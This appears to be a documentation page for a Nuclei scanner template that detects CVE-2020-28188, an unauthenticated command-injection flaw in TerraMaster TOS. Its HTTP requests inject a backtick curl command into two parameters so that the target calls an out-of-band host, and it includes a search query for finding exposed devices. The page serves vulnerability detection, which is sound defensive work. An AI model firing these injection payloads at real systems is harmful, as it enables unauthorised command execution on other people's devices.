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TerraMaster TOS - Unauthenticated Remote Command Execution

ID: CVE-2020-28188

Severity: critical

Author: gy741

Tags: cve2020,cve,packetstorm,terramaster,rce,oast,mirai,unauth,terra-master

Description

Section titled “Description”

TerraMaster TOS <= 4.2.06 is susceptible to a remote code execution vulnerability which could allow remote unauthenticated attackers to inject OS commands via /include/makecvs.php via the Event parameter.

YAML Source

Section titled “YAML Source”
id: CVE-2020-28188


info:
  name: TerraMaster TOS - Unauthenticated Remote Command Execution
  author: gy741
  severity: critical
  description: TerraMaster TOS <= 4.2.06 is susceptible to a remote code execution vulnerability which could allow remote unauthenticated attackers to inject OS commands via /include/makecvs.php via the Event parameter.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.
  remediation: |
    Apply the latest security patch or update provided by TerraMaster to fix the vulnerability.
  reference:
    - https://www.ihteam.net/advisory/terramaster-tos-multiple-vulnerabilities/
    - https://www.pentest.com.tr/exploits/TerraMaster-TOS-4-2-06-Unauthenticated-Remote-Code-Execution.html
    - https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-28188
    - http://packetstormsecurity.com/files/172880/TerraMaster-TOS-4.2.06-Remote-Code-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-28188
    cwe-id: CWE-78
    epss-score: 0.97298
    epss-percentile: 0.99867
    cpe: cpe:2.3:o:terra-master:tos:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: terra-master
    product: tos
    fofa-query: '"terramaster" && header="tos"'
  tags: cve2020,cve,packetstorm,terramaster,rce,oast,mirai,unauth,terra-master
variables:
  useragent: '{{rand_base(6)}}'


http:
  - raw:
      - |
        GET /include/makecvs.php?Event=%60curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'%60 HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /tos/index.php?explorer/pathList&path=%60curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'%60 HTTP/1.1
        Host: {{Hostname}}


    stop-at-first-match: true


    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"


      - type: word
        part: interactsh_request
        words:
          - "User-Agent: {{useragent}}"
# digest: 4a0a00473045022100cf3cf691219ce5c004f5d16bdc7769a1070804f7af14a86c9009983d3f219d2a02207803a793b296dad7e1705dc5e5bb740765b49c6bb05beb2bad3d8717d975e21e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-28188.yaml"

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